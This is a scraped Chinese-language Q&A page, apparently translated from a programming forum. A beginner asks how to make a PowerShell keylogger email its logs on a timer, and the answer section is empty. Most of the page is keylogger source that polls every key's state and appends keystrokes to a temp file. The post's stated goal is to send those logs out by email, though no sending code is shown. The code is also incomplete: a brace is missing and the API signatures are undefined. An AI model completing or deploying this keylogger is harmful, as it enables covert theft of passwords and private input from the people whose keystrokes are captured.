首页 > 解决方案 > 通过电子邮件发送键盘记录器日志

问题描述

我正在尝试创建一个 powershell 脚本,该脚本在 x 秒内发送一封包含记录数据的电子邮件。该脚本将在按下 CTRL+C 后发送数据(当然)。我正在尝试创建一个对我有帮助的循环。我知道如何创建一个脚本,它将向我发送记录在 txt 文件中的数据。我是学习任何脚本语言的新手。谢谢!

这是代码:

    function Start-KeyLogger($Path="$env:temp\keylogger.txt") 
    
      # load signatures and make members available
      $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
        
      # create output file
      $null = New-Item -Path $Path -ItemType File -Force
    
      try
      {
        Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red
    
       
        $time = 0
        while($time -lt 1000000) {
    
        $time
        $time++
          Start-Sleep -Milliseconds 10
         
          for ($ascii = 9; $ascii -le 254; $ascii++) {
            # get current key state
            $state = $API::GetAsyncKeyState($ascii)
    
           
            if ($state -eq -32767) {
              $null = [console]::CapsLock
    
              # translate scan code to real code
              $virtualKey = $API::MapVirtualKey($ascii, 3)
    
              $kbstate = New-Object Byte[] 256
              $checkkbstate = $API::GetKeyboardState($kbstate)
    
              # prepare a StringBuilder to receive input key
              $mychar = New-Object -TypeName System.Text.StringBuilder
    
              $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
    
              if ($success) 
              {
             
                [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) 
                
    
        
              }
            }
          }
        }
      }
      finally
      {
exit
        }

标签: powershellemailkeylogger

解决方案


推荐阅读